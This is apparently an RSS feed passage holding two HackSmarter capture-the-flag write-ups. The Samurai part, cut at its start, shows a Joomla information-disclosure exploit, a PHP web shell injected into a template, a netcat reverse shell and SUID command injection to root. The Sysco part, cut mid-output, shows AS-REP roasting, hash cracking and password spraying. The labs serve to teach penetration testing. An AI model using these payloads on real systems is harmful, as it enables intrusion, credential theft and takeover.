(10.1.68.7)&#39; can&#39;t be established.<br>ED25519 key fingerprint is: SHA256:rdmbm0HTWKohouYzcOLhjKYPv+Rt8zYkos/QJwi2FBM<br>This key is not known by any other names.<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;samurai.hsm&#39; (ED25519) to the list of known hosts.<br>root@samurai.hsm&#39;s password: </pre><ul><li>Accepts password authentication</li></ul><h4>HTTP (80)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6_U5qW5fCRmCTvokwuqmqw.png" /></figure><ul><li>No apparent functionality on the website</li></ul><h4>Fuzzing the Website</h4><pre>dirsearch -u http://samurai.hsm<br>/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html<br>  from pkg_resources import DistributionNotFound, VersionConflict<br><br>  _|. _ _  _  _  _ _|_    v0.4.3<br> (_||| _) (/_(_|| (_| )<br><br>Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460<br><br>Output File: /home/kali/Documents/hacksmarter/samurai/reports/http_samurai.hsm/_26-04-16_13-50-47.txt<br><br>Target: http://samurai.hsm/<br><br>[13:50:47] Starting: <br>&lt;SNNIP&gt;                                         <br>[13:51:45] 301 -  318B  - /administrator  -&gt;  http://samurai.hsm/administrator/<br>[13:51:45] 403 -  276B  - /administrator/includes/                          <br>[13:51:45] 200 -   31B  - /administrator/cache/                             <br>[13:51:45] 301 -  323B  - /administrator/logs  -&gt;  http://samurai.hsm/administrator/logs/<br>[13:51:45] 200 -   31B  - /administrator/logs/                              <br>[13:51:49] 200 -    4KB - /administrator/                                   <br>[13:51:49] 200 -    4KB - /administrator/index.php                          <br>[13:51:51] 404 -   54B  - /api/config                                       <br>&lt;SNIP&gt;                                  <br>[13:52:01] 301 -  310B  - /cache  -&gt;  http://samurai.hsm/cache/             <br>[13:52:06] 200 -   31B  - /cli/                                             <br>[13:52:09] 301 -  315B  - /components  -&gt;  http://samurai.hsm/components/   <br>[13:52:09] 200 -   31B  - /components/                                      <br>[13:52:11] 200 -    0B  - /configuration.php                                <br>[13:52:36] 200 -    3KB - /htaccess.txt                                     <br>[13:52:37] 301 -  311B  - /images  -&gt;  http://samurai.hsm/images/           <br>[13:52:37] 200 -   31B  - /images/                                          <br>[13:52:38] 301 -  313B  - /includes  -&gt;  http://samurai.hsm/includes/       <br>[13:52:38] 200 -   31B  - /includes/                                        <br>&lt;SNIP&gt;                              <br>[13:52:47] 200 -    7KB - /LICENSE.txt                                      <br>[13:52:56] 301 -  310B  - /media  -&gt;  http://samurai.hsm/media/             <br>[13:52:56] 200 -   31B  - /media/                                           <br>[13:53:01] 301 -  312B  - /modules  -&gt;  http://samurai.hsm/modules/         <br>[13:53:01] 200 -   31B  - /modules/                                         <br>[13:53:18] 301 -  312B  - /plugins  -&gt;  http://samurai.hsm/plugins/         <br>[13:53:19] 200 -   31B  - /plugins/                                         <br>[13:53:25] 200 -    2KB - /README.txt                                       <br>[13:53:30] 403 -  276B  - /server-status                                    <br>[13:53:30] 403 -  276B  - /server-status/<br>[13:53:44] 301 -  314B  - /templates  -&gt;  http://samurai.hsm/templates/     <br>[13:53:44] 200 -   31B  - /templates/<br>[13:53:44] 200 -   31B  - /templates/index.html                             <br>[13:53:44] 200 -    0B  - /templates/system/                                <br>[13:53:46] 301 -  308B  - /tmp  -&gt;  http://samurai.hsm/tmp/                 <br>[13:53:46] 200 -   31B  - /tmp/                                             <br>[13:53:59] 200 -  877B  - /web.config.txt </pre><ul><li>Found the administrator sub directory</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pHdeNUb9Mo0l2U5ZoC3Xyw.png" /></figure><ul><li>Using Joomscan to find potential vulnerabilities</li></ul><pre>  ____  _____  _____  __  __  ___   ___    __    _  _ <br>   (_  _)(  _  )(  _  )(  \/  )/ __) / __)  /__\  ( \( )<br>  .-_)(   )(_)(  )(_)(  )    ( \__ \( (__  /(__)\  )  ( <br>  \____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)<br>                        (1337.today)<br>   <br>    --=[OWASP JoomScan<br>    +---++---==[Version : 0.0.7<br>    +---++---==[Update Date : [2018/09/23]<br>    +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo<br>    --=[Code name : Self Challenge<br>    @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP<br><br>Processing http://samurai.hsm ...<br><br><br><br>[+] FireWall Detector<br>[++] Firewall not detected<br><br>[+] Detecting Joomla Version<br>[++] Joomla 4.2.5<br><br>[+] Core Joomla Vulnerability<br>[++] Target Joomla core is not vulnerable<br><br>[+] Checking apache info/status files<br>[++] Readable info/status files are not found<br><br>[+] admin finder<br>[++] Admin page : http://samurai.hsm/administrator/<br><br>[+] Checking robots.txt existing<br>[++] robots.txt is not found</pre><ul><li>Joomla 4.2.5 detected. Finding it there are public vulnerabilities</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tc0FmO7cqf3c_0guFCQKoA.png" /></figure><p><a href="https://github.com/Acceis/exploit-CVE-2023-23752">GitHub - Acceis/exploit-CVE-2023-23752: Joomla! &lt; 4.2.8 - Unauthenticated information disclosure</a></p><ul><li>Digging into the exploit</li></ul><pre> ruby exploit.rb  http://samurai.hsm<br>Users<br>[769] Oda (Miyamoto) - oda@local.local - Super Users<br><br>Site info<br>Site name: Samurai<br>Editor: tinymce<br>Captcha: 0<br>Access: 1<br>Debug status: false<br><br>Database info<br>DB type: mysqli<br>DB host: localhost<br>DB user: joomla425<br>DB password: Pa847word987@Joomla456<br>DB name: Dbjoomla<br>DB prefix: iemj4_<br>DB encryption 0</pre><ul><li>Testing the credentials</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d_zcOzM0UW0rokMhCzJ5Kg.png" /></figure><p>We found a template file which we could inject some code</p><pre>&lt;?php if(isset($_REQUEST[&quot;cmd&quot;])){ echo &quot;&lt;pre&gt;&quot;; $cmd = ($_REQUEST[&quot;cmd&quot;]); system($cmd); echo &quot;&lt;/pre&gt;&quot;; die; }?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*kiuFh8JviPtOkxt8dV24jg.png" /></figure><p>We can test it with the following command</p><pre>http://samurai.hsm/administrator/?cmd=id</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*i_2WYAhq2mv2yQgM4gS1Jw.png" /></figure><ul><li>We’re going to lunch a reverse shell using this payload</li></ul><pre>http://samurai.hsm/administrator/?cmd=busybox nc 10.200.48.100 1337 -e /bin/bash</pre><ul><li>Lunch listener</li></ul><pre>└─$ nc -lvnp 1337<br>listening on [any] 1337 ...<br>connect to [10.200.48.100] from (UNKNOWN) [10.1.9.83] 50204<br>whoami &amp;&amp; id<br>www-data<br>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre><h4>Stabilizing shell</h4><pre>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;<br>www-data@streetcoder:/var/www/html/administrator$ export TERM=xterm<br>export TERM=xterm<br>www-data@streetcoder:/var/www/html/administrator$ ^Z<br>zsh: suspended  nc -lvnp 1337<br>                                                                                                                                                                                                                                         <br>┌──(kali㉿kali)-[~]<br>└─$ stty raw -echo; fg<br>[1]  + continued  nc -lvnp 1337<br><br>www-data@streetcoder:/var/www/html/administrator$ stty rows 38 columns 116<br>www-data@streetcoder:/var/www/html/administrator$ </pre><h3>Getting user flag</h3><pre>www-data@streetcoder:/var/www/html/administrator$ cd ../../<br>www-data@streetcoder:/var/www$ ls<br>html  html.bak_2026-03-06_084923  user.txt<br>www-data@streetcoder:/var/www$ cat user.txt <br>flag{Tachi_794–1185}<br>www-data@streetcoder:/var/www$ </pre><h3>Post Exploitation</h3><ul><li>We found something interesting in the opt directory the backup directory containing a database</li></ul><pre>www-data@streetcoder:/opt$ cd backup/<br>www-data@streetcoder:/opt/backup$ ls<br>DbMaria<br>www-data@streetcoder:/opt/backup$ ls -la<br>total 24<br>drwxr-xr-x 2 root root  4096 Mar  6 09:38 .<br>drwxr-xr-x 3 root root  4096 Mar  6 09:36 ..<br>-rwsr-xr-x 1 root root 16128 Mar  6 09:38 DbMaria<br>www-data@streetcoder:/opt/backup$ </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*ayVivdDg5W_UJS_dvIkW-Q.png" /></figure><pre>mariadb-dump --socket=/run/mysqld/mysqld.sock -u root %s &gt; /tmp/backup.sql</pre><ul><li>This line of code is a <strong>bash command template</strong> used to create a backup of a MariaDB database. It is likely being called by the DbMaria binary you found using a function like system() or exec().</li><li>We will inject a command to pass become root</li></ul><pre>sudo /opt/backup/DbMaria &#39;root; /bin/bash -p #&#39;<br>/*M!999999\- enable the sandbox mode */ <br>-- MariaDB dump 10.19  Distrib 10.6.23-MariaDB, for debian-linux-gnu (x86_64)<br>--<br>-- Host: localhost    Database: root<br>-- ------------------------------------------------------<br>-- Server version       10.6.23-MariaDB-0ubuntu0.22.04.1<br><br>/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;<br>/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;<br>/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;<br>/*!40101 SET NAMES utf8mb4 */;<br>/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;<br>/*!40103 SET TIME_ZONE=&#39;+00:00&#39; */;<br>/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;<br>/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;<br>/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE=&#39;NO_AUTO_VALUE_ON_ZERO&#39; */;<br>/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;<br>mariadb-dump: Got error: 1049: &quot;Unknown database &#39;root&#39;&quot; when selecting the database<br>root@streetcoder:/# cd root/;ls<br>root.txt  snap<br>root@streetcoder:~# cat root.txt <br>flag{Katana_1603–1868}<br>root@streetcoder:~#</pre><p>Done.</p><p>Thanks for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=051288a94032" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Sysco | HackSmarter]]></title>
            <link>https://medium.com/@tanyibesong.bryanmaurice/sysco-hacksmarter-0851163b207d?source=rss-44016c9a5283------2</link>
            <guid isPermaLink="false">https://medium.com/p/0851163b207d</guid>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Exploitforge]]></dc:creator>
            <pubDate>Fri, 17 Apr 2026 12:51:46 GMT</pubDate>
            <atom:updated>2026-04-17T12:51:46.918Z</atom:updated>
            <content:encoded><![CDATA[<h3>Scenario</h3><p>Sysco is a Managed Service Provider that has tasked you to perform an external penetration testing on their active directory domain. You must obtain initial foothold, move laterally and escalate privileges while evading Antivirus detection to obtain administrator privileges.</p><h3>Objectives and Scope</h3><p>The <strong>core objective</strong> of this external penetration test is to simulate a realistic, determined adversary to achieve <strong>Domain Administrator privileges</strong> within Sysco’s Active Directory (AD) environment. Starting from an external position, we will focus on obtaining an <strong>initial foothold</strong>, performing <strong>lateral movement</strong>, and executing <strong>privilege escalation</strong> while successfully <strong>evading Antivirus (AV) and other security controls</strong>. This is a red-team exercise to find security weaknesses before a real attacker does.</p><pre>10.1.231.86</pre><h3>Enumeration</h3><h3>Nmap</h3><pre>PORT     STATE SERVICE       VERSION<br>53/tcp   open  domain        Simple DNS Plus<br>80/tcp   open  http          Apache httpd 2.4.58 ((Win64) OpenSSL/3.1.3 PHP/8.2.12)<br>|_http-favicon: Unknown favicon MD5: DD229045B1B32B2F2407609235A23238<br>| http-methods: <br>|   Supported Methods: OPTIONS HEAD GET POST TRACE<br>|_  Potentially risky methods: TRACE<br>|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12<br>|_http-title: Index - Sysco MSP<br>88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-15 13:58:46Z)<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: SYSCO.LOCAL, Site: Default-First-Site-Name)<br>445/tcp  open  microsoft-ds?<br>464/tcp  open  kpasswd5?<br>593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  ldapssl?<br>3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: SYSCO.LOCAL, Site: Default-First-Site-Name)<br>3269/tcp open  tcpwrapped<br>3389/tcp open  ms-wbt-server Microsoft Terminal Services<br>| rdp-ntlm-info: <br>|   Target_Name: SYSCO<br>|   NetBIOS_Domain_Name: SYSCO<br>|   NetBIOS_Computer_Name: DC01<br>|   DNS_Domain_Name: SYSCO.LOCAL<br>|   DNS_Computer_Name: DC01.SYSCO.LOCAL<br>|   Product_Version: 10.0.20348<br>|_  System_Time: 2026-04-15T13:59:33+00:00<br>| ssl-cert: Subject: commonName=DC01.SYSCO.LOCAL<br>| Issuer: commonName=DC01.SYSCO.LOCAL<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2026-04-14T13:55:22<br>| Not valid after:  2026-10-14T13:55:22<br>| MD5:     a45e 47e2 18e7 6ee6 1af2 3d86 19b5 1fd6<br>| SHA-1:   65b3 f169 7e20 3d10 6fbe bdb1 5b40 1a8d 1c15 22c5<br>|_SHA-256: 6c2c ec94 f61a 762c 92ac ab27 4c06 a0b6 6aaf e807 c761 be43 08ed 8197 28bc f38d<br>|_ssl-date: 2026-04-15T14:00:09+00:00; 0s from scanner time.<br>Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port</pre><h3>Rustscan</h3><pre>PORT      STATE SERVICE       REASON          VERSION<br>53/tcp    open  domain        syn-ack ttl 126 Simple DNS Plus<br>80/tcp    open  http          syn-ack ttl 126 Apache httpd 2.4.58 ((Win64) OpenSSL/3.1.3 PHP/8.2.12)<br>|_http-favicon: Unknown favicon MD5: DD229045B1B32B2F2407609235A23238<br>| http-methods: <br>|   Supported Methods: OPTIONS HEAD GET POST TRACE<br>|_  Potentially risky methods: TRACE<br>|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12<br>|_http-title: Index - Sysco MSP<br>88/tcp    open  kerberos-sec  syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-04-15 14:01:30Z)<br>135/tcp   open  msrpc         syn-ack ttl 126 Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   syn-ack ttl 126 Microsoft Windows netbios-ssn<br>445/tcp   open  microsoft-ds? syn-ack ttl 126<br>464/tcp   open  kpasswd5?     syn-ack ttl 126<br>593/tcp   open  ncacn_http    syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped    syn-ack ttl 126<br>3268/tcp  open  ldap          syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: SYSCO.LOCAL, Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped    syn-ack ttl 126<br>3389/tcp  open  ms-wbt-server syn-ack ttl 126 Microsoft Terminal Services<br>| rdp-ntlm-info: <br>|   Target_Name: SYSCO<br>|   NetBIOS_Domain_Name: SYSCO<br>|   NetBIOS_Computer_Name: DC01<br>|   DNS_Domain_Name: SYSCO.LOCAL<br>|   DNS_Computer_Name: DC01.SYSCO.LOCAL<br>|   Product_Version: 10.0.20348<br>|_  System_Time: 2026-04-15T14:02:42+00:00<br>|_ssl-date: 2026-04-15T14:03:21+00:00; -1s from scanner time.<br>| ssl-cert: Subject: commonName=DC01.SYSCO.LOCAL<br>| Issuer: commonName=DC01.SYSCO.LOCAL<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2026-04-14T13:55:22<br>| Not valid after:  2026-10-14T13:55:22<br>| MD5:     a45e 47e2 18e7 6ee6 1af2 3d86 19b5 1fd6<br>| SHA-1:   65b3 f169 7e20 3d10 6fbe bdb1 5b40 1a8d 1c15 22c5<br>| SHA-256: 6c2c ec94 f61a 762c 92ac ab27 4c06 a0b6 6aaf e807 c761 be43 08ed 8197 28bc f38d<br>| -----BEGIN CERTIFICATE-----</pre><h3>SMB \shares</h3><pre>└─$ nxc smb sysco.local -u &#39;&#39; -p &#39;&#39; --shares                                               <br>SMB         10.1.231.86     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.231.86     445    DC01             [+] SYSCO.LOCAL\: <br>SMB         10.1.231.86     445    DC01             [-] Error enumerating shares: STATUS_ACCESS_DENIED<br>                                                                                                                                                                                                                                         <br>┌──(kali㉿kali)-[~/Documents/hacksmarter/sysco]<br>└─$ nxc smb sysco.local -u &#39;guest&#39; -p &#39;&#39; --shares<br>SMB         10.1.231.86     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.231.86     445    DC01             [-] SYSCO.LOCAL\guest: STATUS_ACCOUNT_DISABLED </pre><ul><li>No guest account enable</li></ul><h3>HTTP (80)</h3><h4>Ran dirsearch</h4><pre>─$ dirsearch -u http://sysco.local                                                                  <br>/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html<br>  from pkg_resources import DistributionNotFound, VersionConflict<br><br>  _|. _ _  _  _  _ _|_    v0.4.3<br> (_||| _) (/_(_|| (_| )<br><br>Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460<br><br>Output File: /home/kali/Documents/hacksmarter/sysco/reports/http_sysco.local/_26-04-15_10-11-28.txt<br><br>Target: http://sysco.local/<br><br>[10:11:28] Starting: <br>[10:11:43] 403 -  300B  - /%3f/                                             <br>[10:11:43] 403 -  300B  - /%ff                                              <br>[10:11:43] 403 -  300B  - /%C0%AE%C0%AE%C0%AF                               <br>[10:11:54] 403 -  300B  - /.ht_wsr.txt                                      <br>[10:11:56] 403 -  300B  - /.htaccess.sample                                 <br>[10:11:56] 403 -  300B  - /.htaccess.save                                   <br>[10:11:56] 403 -  300B  - /.htaccess_extra                                  <br>[10:11:56] 403 -  300B  - /.htaccess_orig<br>[10:11:56] 403 -  300B  - /.htaccessBAK<br>[10:11:56] 403 -  300B  - /.htaccessOLD                                     <br>[10:11:56] 403 -  300B  - /.htaccess_sc<br>[10:11:56] 403 -  300B  - /.htaccessOLD2<br>[10:11:56] 403 -  300B  - /.htm<br>[10:11:56] 403 -  300B  - /.html                                            <br>[10:11:56] 403 -  300B  - /.httr-oauth                                      <br>[10:11:56] 403 -  300B  - /.htpasswds                                       <br>[10:11:56] 403 -  300B  - /.htpasswd_test<br>[10:11:57] 403 -  300B  - /.htaccess.bak1                                   <br>[10:11:57] 403 -  300B  - /.htaccess.orig                                   <br>[10:13:07] 301 -  335B  - /assets  -&gt;  http://sysco.local/assets/           <br>[10:13:07] 200 -    2KB - /assets/                                          <br>[10:13:19] 403 -  300B  - /cgi-bin/                                         <br>[10:13:20] 200 -    2KB - /cgi-bin/printenv.pl                              <br>[10:13:46] 503 -  400B  - /examples/servlet/SnoopServlet                    <br>[10:13:46] 503 -  400B  - /examples/jsp/%252e%252e/%252e%252e/manager/html/<br>[10:13:46] 503 -  400B  - /examples/servlets/index.html<br>[10:13:46] 503 -  400B  - /examples/jsp/index.html<br>[10:13:46] 503 -  400B  - /examples/jsp/snp/snoop.jsp<br>[10:13:46] 503 -  400B  - /examples/servlets/servlet/CookieExample<br>[10:13:46] 503 -  400B  - /examples<br>[10:13:46] 503 -  400B  - /examples/<br>[10:13:46] 503 -  400B  - /examples/websocket/index.xhtml                   <br>[10:13:46] 503 -  400B  - /examples/servlets/servlet/RequestHeaderExample<br>[10:13:50] 301 -  334B  - /forms  -&gt;  http://sysco.local/forms/             <br>[10:14:14] 403 -  300B  - /index.php::$DATA                                 <br>[10:14:45] 403 -  419B  - /phpmyadmin                                       <br>[10:14:49] 403 -  419B  - /phpmyadmin/                                      <br>[10:14:49] 403 -  419B  - /phpmyadmin/docs/html/index.html<br>[10:14:49] 403 -  419B  - /phpmyadmin/doc/html/index.html<br>[10:14:49] 403 -  419B  - /phpmyadmin/README                                <br>[10:14:49] 403 -  419B  - /phpmyadmin/scripts/setup.php<br>[10:14:49] 403 -  419B  - /phpmyadmin/phpmyadmin/index.php<br>[10:14:49] 403 -  419B  - /phpmyadmin/ChangeLog                             <br>[10:14:49] 403 -  419B  - /phpmyadmin/index.php<br>[10:14:57] 200 -  219B  - /ReadMe.txt                                       <br>[10:14:57] 200 -  219B  - /readme.txt<br>[10:14:57] 200 -  219B  - /README.txt<br>[10:14:57] 200 -  219B  - /README.TXT                                       <br>[10:14:57] 200 -  219B  - /Readme.txt<br>[10:15:06] 403 -  419B  - /server-info                                      <br>[10:15:06] 403 -  419B  - /server-status                                    <br>[10:15:06] 403 -  419B  - /server-status/                                   <br>[10:15:07] 200 -    5KB - /roundcube/index.php                              <br>[10:15:23] 403 -  300B  - /Trace.axd::$DATA                                 <br>[10:15:32] 403 -  300B  - /web.config::$DATA                                <br>[10:15:33] 403 -  419B  - /webalizer                                        <br>[10:15:33] 403 -  419B  - /webalizer/   </pre><p>Found an interesting round cube instance</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7ktB6ZEwBhJp9qFzJ9LhQQ.png" /></figure><ul><li>We can have some infos such as email and contact number</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uegk_LoPXrYK_JJBNXyRbg.png" /></figure><ul><li>Potential usernames. From this we’re going to generate some usernames using <a href="https://github.com/mohinparamasivam/AD-Username-Generator">https://github.com/mohinparamasivam/AD-Username-Generator</a>.</li><li>Firstly we need to pass the names into a file and generate AD user names</li></ul><pre>$ python3 username-generate.py -u users_name -o users.txt<br> <br>rm: cannot remove &#39;users.txt&#39;: No such file or directory<br>Usernames Generated Successfully</pre><ul><li>Since from our ports scanning results we see kerberos (88) open we can use <a href="http://kerberute.py/">kerberute.py</a> to find if users are valid.</li></ul><pre>─$ ./kerbrute_linux_amd64 userenum -d sysco.local users.txt --dc 10.1.231.86<br><br>    __             __               __     <br>   / /_____  _____/ /_  _______  __/ /____ <br>  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \<br> / ,&lt; /  __/ /  / /_/ / /  / /_/ / /_/  __/<br>/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        <br><br>Version: v1.0.3 (9dad6e1) - 04/15/26 - Ronnie Flathers @ropnop<br><br>2026/04/15 10:55:22 &gt;  Using KDC(s):<br>2026/04/15 10:55:22 &gt;   10.1.231.86:88<br><br>2026/04/15 10:55:23 &gt;  [+] VALID USERNAME:       greg.shields@sysco.local<br>2026/04/15 10:55:25 &gt;  [+] VALID USERNAME:       jack.dowland@sysco.local<br>2026/04/15 10:55:26 &gt;  [+] VALID USERNAME:       lainey.moore@sysco.local<br>2026/04/15 10:55:33 &gt;  Done! Tested 44 usernames (3 valid) in 10.367 seconds</pre><ul><li>We have a list of our valid user we’re going to try an ASREPRoast attack with the users</li></ul><pre>└─$ GetNPUsers.py  -no-pass -usersfile users.txt -dc-ip 10.1.231.86 sysco.local/<br>Impacket v0.14.0.dev0+20260326.150834.76ee8774 - Copyright Fortra, LLC and its affiliated companies <br><br>[-] User greg.shields doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set<br>$krb5asrep$23$jack.dowland@SYSCO.LOCAL:c5c8be9d3eb236b2895a1f733ac99c1c$7fe1ff67d3c9b416ede9792a26f41232cfa82466ad7e6f21175aeac04b8af051b9219c48612eddefd09b3636e9fbc7bd403e6500cd25461e454a48454cd0ffcc31c4facfd1cae2831a202e1fab746f6fb2c5a34d4ca374ed6c9519ad89cee5c670cb81643a65492861568728d699571faf4bcf962cf0f414ca4eb9d4f70a254b27bd7b68c3e55d1884ae71468412056468b57ec3348ae1b62cb38dd72f7b634a53cadb56085d361fe991c4bc447ac513e77c5ff38c2a83482c5da83ad89fcf48e457b02cc479d39fe0ba76fa8cb69ea2b4160ee9a1abd50cfce80ff86bbc29a10734ae340ae4cbbecdd0<br>[-] User lainey.moore doesn&#39;t have UF_DONT_REQUIRE_PREAUTH set</pre><ul><li>Cracking the hash</li></ul><pre> john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt <br>Using default input encoding: UTF-8<br>Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])<br>Will run 6 OpenMP threads<br>Press &#39;q&#39; or Ctrl-C to abort, almost any other key for status<br>musicman1        ($krb5asrep$23$jack.dowland@SYSCO.LOCAL)     <br>1g 0:00:00:00 DONE (2026-04-15 11:17) 12.50g/s 825600p/s 825600c/s 825600C/s bhie21..jorie<br>Use the &quot;--show&quot; option to display all of the cracked passwords reliably<br>Session completed. </pre><ul><li>we successfully cracked the hash.</li></ul><pre>jack.dowland:musicman1</pre><ul><li>testing credentials</li></ul><pre>└─$ nxc smb sysco.local -u &#39;jack.dowland&#39;  -p &#39;musicman1&#39; --shares                         <br>SMB         10.1.231.86     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.231.86     445    DC01             [+] SYSCO.LOCAL\jack.dowland:musicman1 <br>SMB         10.1.231.86     445    DC01             [*] Enumerated shares<br>SMB         10.1.231.86     445    DC01             Share           Permissions     Remark<br>SMB         10.1.231.86     445    DC01             -----           -----------     ------<br>SMB         10.1.231.86     445    DC01             ADMIN$                          Remote Admin<br>SMB         10.1.231.86     445    DC01             C$                              Default share<br>SMB         10.1.231.86     445    DC01             IPC$            READ            Remote IPC<br>SMB         10.1.231.86     445    DC01             NETLOGON        READ            Logon server share <br>SMB         10.1.231.86     445    DC01             SYSVOL          READ            Logon server share </pre><ul><li>Getting complete list of users with jack.dowland credentials</li></ul><pre>nxc ldap sysco.local -u &#39;jack.dowland&#39;  -p &#39;musicman1&#39; --users-export users_full.txt<br>LDAP        10.1.231.86     389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:SYSCO.LOCAL) (signing:None) (channel binding:No TLS cert) <br>LDAP        10.1.231.86     389    DC01             [+] SYSCO.LOCAL\jack.dowland:musicman1 <br>LDAP        10.1.231.86     389    DC01             [*] Enumerated 6 domain users: SYSCO.LOCAL<br>LDAP        10.1.231.86     389    DC01             -Username-                    -Last PW Set-       -BadPW-  -Description-                                               <br>LDAP        10.1.231.86     389    DC01             Administrator                 2025-10-17 22:57:08 0        Built-in account for administering the computer/domain      <br>LDAP        10.1.231.86     389    DC01             Guest                         &lt;never&gt;             0        Built-in account for guest access to the computer/domain    <br>LDAP        10.1.231.86     389    DC01             krbtgt                        2025-10-18 00:20:44 0        Key Distribution Center Service Account                     <br>LDAP        10.1.231.86     389    DC01             jack.dowland                  2025-10-18 00:48:47 0        Helpdesk Tier 1                                             <br>LDAP        10.1.231.86     389    DC01             lainey.moore                  2025-10-18 00:50:14 0        System Engineer                                             <br>LDAP        10.1.231.86     389    DC01             greg.shields                  2025-10-18 00:51:59 0        System Administrator                                        <br>LDAP        10.1.231.86     389    DC01             [*] Writing 6 local users to users_full.txt</pre><h3>Investigating Round cube</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*2RsRWP4iRjyuPVjwaIdPTg.png" /></figure><ul><li>We logging using jack.downland credentials</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*gSpS5FeC2L3rVKhSoz4_WQ.png" /></figure><ul><li>Found a router config file. We will download it</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*_tLU5GjdV4gxBvmBDM4AmA.png" /></figure><pre>└─$ hashcat routerhash.txt /usr/share/wordlists/rockyou.txt<br>hashcat (v7.1.2) starting in autodetect mode<br><br>OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]<br>====================================================================================================================================================<br>&lt;SNIP&gt;<br>Dictionary cache hit:<br>* Filename..: /usr/share/wordlists/rockyou.txt<br>* Passwords.: 14344385<br>* Bytes.....: 139921507<br>* Keyspace..: 14344385<br><br>$1$mERr$isugnYiHsjHT.i.tc2GDY.:Chocolate1 </pre><h3>Spraying the password Chocolate1</h3><pre> nxc smb sysco.local -u &#39;users.txt&#39; -p &#39;Chocolate1&#39; --continue-on-success<br>SMB         10.1.231.86     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) (signing:True) (SMBv1:None) (Null Auth:True)<br>SMB         10.1.231.86     445    DC01             [-] SYSCO.LOCAL\greg.shields:Chocolate1 STATUS_LOGON_FAILURE <br>SMB         10.1.231.86 